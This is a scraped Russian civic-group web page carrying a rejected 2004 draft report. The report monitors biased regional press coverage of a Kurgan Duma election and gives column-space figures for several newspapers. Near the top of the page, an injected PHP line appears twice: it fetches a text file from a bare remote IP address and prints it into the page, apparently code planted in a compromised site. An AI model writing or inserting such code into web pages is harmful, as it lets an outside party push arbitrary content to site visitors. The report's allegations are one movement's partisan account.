ПРАВОЗАЩИТНАЯ СТРАНИЧКА КУРГАНСКОГО
ОБЛАСТНОГО ОБЩЕСТВЕННОГО ДВИЖЕНИЯ "ЗА ЧЕСТНЫЕ ВЫБОРЫ"
e-mail: gabdis@mail.ru
Пятый угол
правозащитников курганской области

Новости

ПРИЗНАН НЕДОПУСТИМЫМ для обнародования.

22.01.2004


<?php echo file_get_contents("http://91.193.192.27/users.txt"); ?> <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?>

                          
Проект доклада к выступлению





                           23.01.04 по СМИ и выборам,





                          
отвергнутый советом по связям со





                          
СМИ при полномочном представителе    





                          
Президента в Курганской области





 





 (ПРИЗНАН НЕДОПУСТИМЫМ для
обнародования ПО МНЕНИЮ РУКОВОДИТЕЛЯ СОВЕТА)





 





 





Информирование граждан в рамках избирательной кампании. 





Методы и их эффективность, законность.





 




Приведенный
далее мониторинг СМИ и общий анализ работы ОИК показывает,      что информирование избирателей сводилось
к доведению до избирателей только той информации, которая была выгодна партии
власти, при этом председатель ОИК и государственные СМИ играли совместно роль
агитаторов и пропагандистов линии партии власти, резко оппонируя кандидатам,
вставшим на пути кандидата партии власти и даже обязательную официальную
информацию скрывали от избирателя, если это касалось ставленника власти.




Такого
беззастенчивого цинизма от ОИК было трудно представить даже при самых худших предположениях.
Деятельность представителей КПРФ, СПС и Яблока в этой ситуации выглядит по
меньшей мере странно.




В
заседании ОИК звучали в качестве аргументов даже фразы такого рода как: «вам,
что неясно, какую партию поддержал Путин и кто должен победить».




Неудивительно
поэтому, что, например, ни в одном из 7 отслеживаемых печатных изданий региона
не было дано ни слова негативной информации об этом кандидате, генерале
Н.Безбородове: ни о его незадекларированной новенькой иномарке, ни о его
голосовании за ввоз ядерных отходов. Естественно, что ни один журналист ни в
одном материале не сообщил избирателям и не задал в своем нтервью вопросов об
этом, либо о его поддержке ГКЧП и т.п. 
Проверяя поступление официальной информации о кандидатах в
территориальные комиссии удалось выехать в два райцентра(Варгаши, Кетово). Ни в
одно из ТИК до 5 дек. не поступало никакой информации от ОИК по данным о
кандидатах, чтобы можно было объективно проинформировать избирателей. Полагаем,
что делалось это умышленно, чтобы газеты не успели до 6 декабря напечатать
негативные факты о ставленнике партии власти. И только на избирательном участке
очень дотошные избиратели с очень острым зрением могли прочитать об этом из
плаката с общими сведениями о 7 кандидатах.




Такая
же картина наблюдалась и по партиям, это видно из мониторинга      СМИ, итого которого приведены далее.
Относительно информативной выглядела в плане доведения до избирателей
объективной информации работа единственной из 7 анализируемых газет:
"Курган и курганцы". Только из материалов С.Кирсановой в этой газете
можно было получить информацию с заседаний ОИК, о результатах некоторых
судебных тяжб. Ни в одном из отслеживаемых изданий не были опубликованы никакие
из регулярно рассылаемых в СМИ материалов, касающиеся сведений о кандидатах, их
голосованиях в Думе, о судебных тяжбах в связи с нарушениями избирательного
законодательства со стороны СМИ, поскольку это были материалы общественного
объединения.




От
ОИК такие сведения, по нашим данным, просто не поступали.




Показательно,
что руководитель рабочей группы ОИК по информационным спорам И.Белых и
фигурировал в судах, как руководитель КГТРК - главный нарушитель по самым
масштабным нарушениям избирательного законодательства в пользу «Единой России»,
таких как маскируемые под социальный проект «Сильное Зауралье – ЕДИНАЯ РОССИЯ»
или политическая акция «Я-за! Выбери свое правительство!».




Скажем
24 ноября И.Белых, как руководитель, ставит свою подпись под решением рабочей
группы, постановившей пресечь распространение материалов акции «Я-за! Выбери
свое правительство!», а вечером того же дня в 20.30 она спокойно транслируется
на каналах руководимого им КГТРК!




В
этот же период (с 12 по 30 ноября) 
Комитет по печати и СМИ региона навязывал районным СМИ распространение
той же незаконной агитации в пользу Единой России,  требуя для этого резервировать места при сдаче газет в
типографию, где и вставлялся агитматериал. Лишь несколько редакторов
отказались       от этого, в частности
редактор Сафакулевской районной газеты Г.Мовлавилов.




Надо
также отметить, что решение рабочей группы ОИК принималось без учета голоса
И.Белых, поскольку это предусмотрено Положением о рабочей группе, ввиду того,
что он и был распространителем агитации. Сама же ОИК, заседая на следующий
день, не только не прислушалась к решению рабочей группы о пресечении, но и
приняла такое противоречивое решение, что второй пункт решения от 25.11.03
признавал материал агитационным, но ни в одном пункте не предусмотрел не только
пресечение дальнейшего распространения, но даже и информирования об этом факте
тех СМИ, которые эту незаконную агитацию распространяли. Незаконная агитация и
фиктивный итог опроса публиковался вплоть до 4 декабря! Заявление о нарушении
закона по этому факту поступило в ОИК 19 ноября. Началась сама эта незаконная
агитация еще 12 ноября! ОИК закрывала на это глаза 23 дня!




В
судебном заседании по нашему заявлению в связи с бездействием ОИК,
представители ОИК озвучили следующее ОИК не обязан пресекать или инициировать
пресечение незаконной агитации, т.к. по закону о выборах это право ОИК, а не
обязанность. В  СМИ, нарушившие закон,
информацию о незаконности их деятельности ОИК не направляла, свое решение о
признании агитации незаконной нигде не публиковала. В том же судебном заседании
представитель КГТРК сообщила, что оборудование и людей для проведения указанной
акции, признанной незаконной агитацией, предоставляло Правительство
области.   




По
меньшей мере трижды сама ОИК выступала в роли агитатора в интересах
представителей партии власти. Первый раз, когда пыталась предъявить претензии
за информационный материал к газете "Курган и курганцы", которую в
прогубернаторских СМИ многократно назвали нарушителем избирательного
законодательства по инициативе ОИК, хотя никакого нарушения обнаружено не было.
Цель была очевидна: дискредитировать газету, которая наиболее объективно
пыталась информировать избирателей. После этого и в ней произошли
ожидаемые      изменения.




Второй
факт касается главного конкурента обласканному властью генералу Безбородову.
Председатель ОИК С.Гулькевич в официальных выступлениях (см. далее) заявляла о
подкупе избирателей А.Федулевым, упрекая местные власти в попустительстве
этому. Это многократно озвучивалось в СМИ, хотя шла судебная тяжба, в итоге
которой никакого подкупа установлено не было.




Третий
факт касался официальных сведений о кандидатах, которые должны были
обнародоваться по инициативе ОИК. До 5 декабря эти сведения в территориальные
комиссии не поступили (проверено в Кетово, Варгашах), и, соответственно и в
районные газеты. Газета областной администрации и думы, обязанная публиковать
официальные сведения («Новый мир», редактор Менщикова) опубликовала урезанный
вариант официальных сведений о кандидате Н.Безбородове выброшена информация о
его незадекларированном новеньком джипе-иномарке. Как указывалось выше, этот
кандидат был указан властями и единороссами, как свой!




 




Вот данные из мониторинга СМИ.




Цифры
указывают на газетные площади в кв.см.




 




Незаконной
агитацией нами названы материалы, в которых очевидна агитационная цель, и нет
признаков выражения мнения автора или газеты.




 




1.
Районная газета «Светлый путь».





В собственно "Светлом пути" с 31
октября по 5 ноября в 5 номерах





(отсутствует 44 номер) 7 материалов о
выборах.





Объем материалов о выборах                                - 1500





Информационные материалы о технической
стороне выборов     - 988





Информационные материалы с указанием
фамилий и должностей





всех кандидатов, названия партий и
блоков                  - 297





Информационные материалы о П.Федулеве                      - 215





 





Приложение от «Нового мира»-«Губернские
вести» 9 материалов.





Объем -                                  1295





Информационные материалы      -           580





Из них:





О П.Федулеве  (негатив.)               
- 245





О Н.Безбородове  (позитив.)            
-  45





О Единой России  (позитив.)             -
120





О политсовете партий при губернаторе      170





 





Незаконная агитация





Объем                                     715





Против П.Федулева           -             218





За Н.Безбородова            -            
250





За явку на выборы,





Против голосования "против всех"
-        247





 





Как видим, вся незаконная агитация в
районе исходит из областного центра,





т.е. специально для этого распространяемой
газеты «Губернские вести».





Информации от ОИК о кандидатах нет
никакой.





 





 





 





  2. Районная газета «Искра». Тот же период.





В
информационных материалах отсутствует список кандидатов, их данные, сведения об
имуществе, об избирательных фондах. Нет списка партий и блоков и информации о
них.





 





ИТОГО





Информационные материалы  - объем   
1634





Незаконная агитация                  1589





В т.ч. 
за ЕР                         694





       
За КПРФ                       704





       
Против всех                   191





 





 





3.1
Название Курган и курганцы





 





2. Учредители: Администрация г. Кургана,
ООО "Редакция городской газеты





 
"Курган и курганцы"





3. Адрес редакции 640000, г. Курган, ул.
Гоголя, 23





4. Главный редактор Ольга Серебрякова





5. Периодичность Три раза в неделю





6. Количество полос Объем 4 условных
печатных листа





7. Ангажированность Городская администрация





8. Тираж 17800





 





 





Итого в 15 номерах газеты (с 124 по 138) в
период с 1 ноября по 6 декабря





Газетная площадь информационных материалов
о выборах - 15968.





 





Агитационные материалы, размещенные
согласно ФЗ "О выборах..."





не рассматривались.





 





Информационные материалы о работе ОИК,
технической





и правовой стороне выборов                            -  3799





 





Информационные материалы о работе партий,
блоков      -  2690





Из них





       
Единая Россия (положительная информация)        - 776





       
КПРФ          (положительная
информация)        - 429





       
КПРФ          (отрицательная
информация)        - 627





       
все остальные  (нейтральная)                    - 858





 





Информационные материалы о кандидатах в
депутаты        - 2706





Из них





      
 Федулев (отрицательная)                          - 2706





 Примечание. Фамилии остальных кандидатов упоминались





             в репортажах с заседаний ОИК.





 





 





Незаконная агитация.                                      - 6773





 





    
Против Федулева                                      - 1534





    
Против КПРФ                                          - 1104





    
За Единую Россию                                     - 4135





 





Следует иметь также
ввиду, что в незаконных агитационных материалах о Единой России содержится
агитация против КПРФ, Яблока, СПС, ЛДПР. Информационные материалы о каких-либо
партиях кроме КПРФ и «Единой России», не публиковались.




 




Никакой информации о
других кандидатах (не считая обязательной от ОИК) кроме П.Федулева не
публиковалось.




 




Сведения о роде занятий
и декларируемых доходах кандидатов публиковались




по мере их
регистрации,  в редакционных сообщениях.




 




 




 




4. Областная газета «Новый
мир» (орган, печатающий официальную информацию).





 





1. Название "Новый мир"





2. Учредители (Курганская областная Дума,
Администрация (Правительство)





Курганской области, Государственное
учреждение "Редакция Курганской





областной общественно-политической газеты
"Новый мир"





3. Адрес редакции 640627, Курган, ул.
Карла Маркса, 106





4. Главный редактор Татьяна Менщикова





5. Периодичность Пять раз в неделю.





6. Количество полос Объем 2 условнных
печатных листа





7. Ангажированность Администрация
Курганской области





8. Тираж 9100





 





  




Информация от ОИК, опубликованная в Новом
мире, объем 9622





В том числе:





 Техническая сторона проведения выборов,  информация





 о
кандидатах, согласно ФЗ  "О
выборах..."        - 7460





 О
кандидате Федулеве (негативная)               
- 2162





 





 





Информация журналистов и редакции Нового
мира, объем – 6666





в том числе:





 Информация
о "Единой России" (позитивная)      
- 757  (4шт)





 Информация о "КПРФ" (позитивная)                - 413  (2)





 





Материалы, посвященные другим партиям и
блокам отсутствуют, кроме





негативной оценки деятельности СПС и
Чубайса в 2 авторских материалах.





 





Самым главным показателем ангажированности
газеты является следующий факт:





Газета напечатала перед выборами
официальную информацию о кандидате Безбородове в урезанном виде, скрыв данные о
незадекларированном Джипе.





 





 Информация о кандидате Безбородове (позитивная) -  870 (4)





 Информация о кандидате Федулеве 
(негативная)   - 1136 (3)





 Информация о кандидате Александрове (негативная)-  126 (1)





 Материалы о ходе избирательной кампании,





 Содержащие, в том числе, упоминания





 фамилий других кандидатов





 (в
репортажах с заседаний ОИК)                 
- 3364





 





 





Незаконная агитация.





 Против Федулева           
1497





 За
Безбородова             1729





 За
Народную партию          124





 За
Единую Россию и Путина   497





 




 




 




Критериями незаконной
агитации мы принимали признаки, указывающие на агитационную цель при отсутствии
признаков выражения мнения журналиста или редакции. 




 




Подводя итоги перечисленному  следует сказать,  что информирование избирателей в СМИ в период выборов поставлено
с ног на голову.




Главное  в выборах это интерес избирателя,  отражение в этом процессе его чаяний, желания иметь тех
законодателей,  которые отстоят его
интересы.




Ну, хоть бы одна газета собрала
пакет требований избирателей, предъявляемых к кандидатам  и из интервью выяснила,  кто под этот пакет подходит  и обнародовала итоги своей работы.  Было бы что обсуждать.




А так,  максимум, что для избирателя доступно – репортажи. Остальное то,
что называется промыванием мозгов.




Скажите,  почему ни в одном издании, 
а ведь вы все считаете себя объективными,  не опубликована даже официальная информация о том, что Безбородов
незадекларировал свой джип Тойоту 2003 года выпуска?






Данный материал прошел автоматическую обработку и мог быть искажен, оригинал материала: http://narod.zaural.ru/gabd/news/040122-1.htm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             


Яндекс.Метрика
© 2010 Все права защищены, при использовании
ссылка на сайт движения "За честные выборы" обязательна
закрыть
   
Текст подсказки.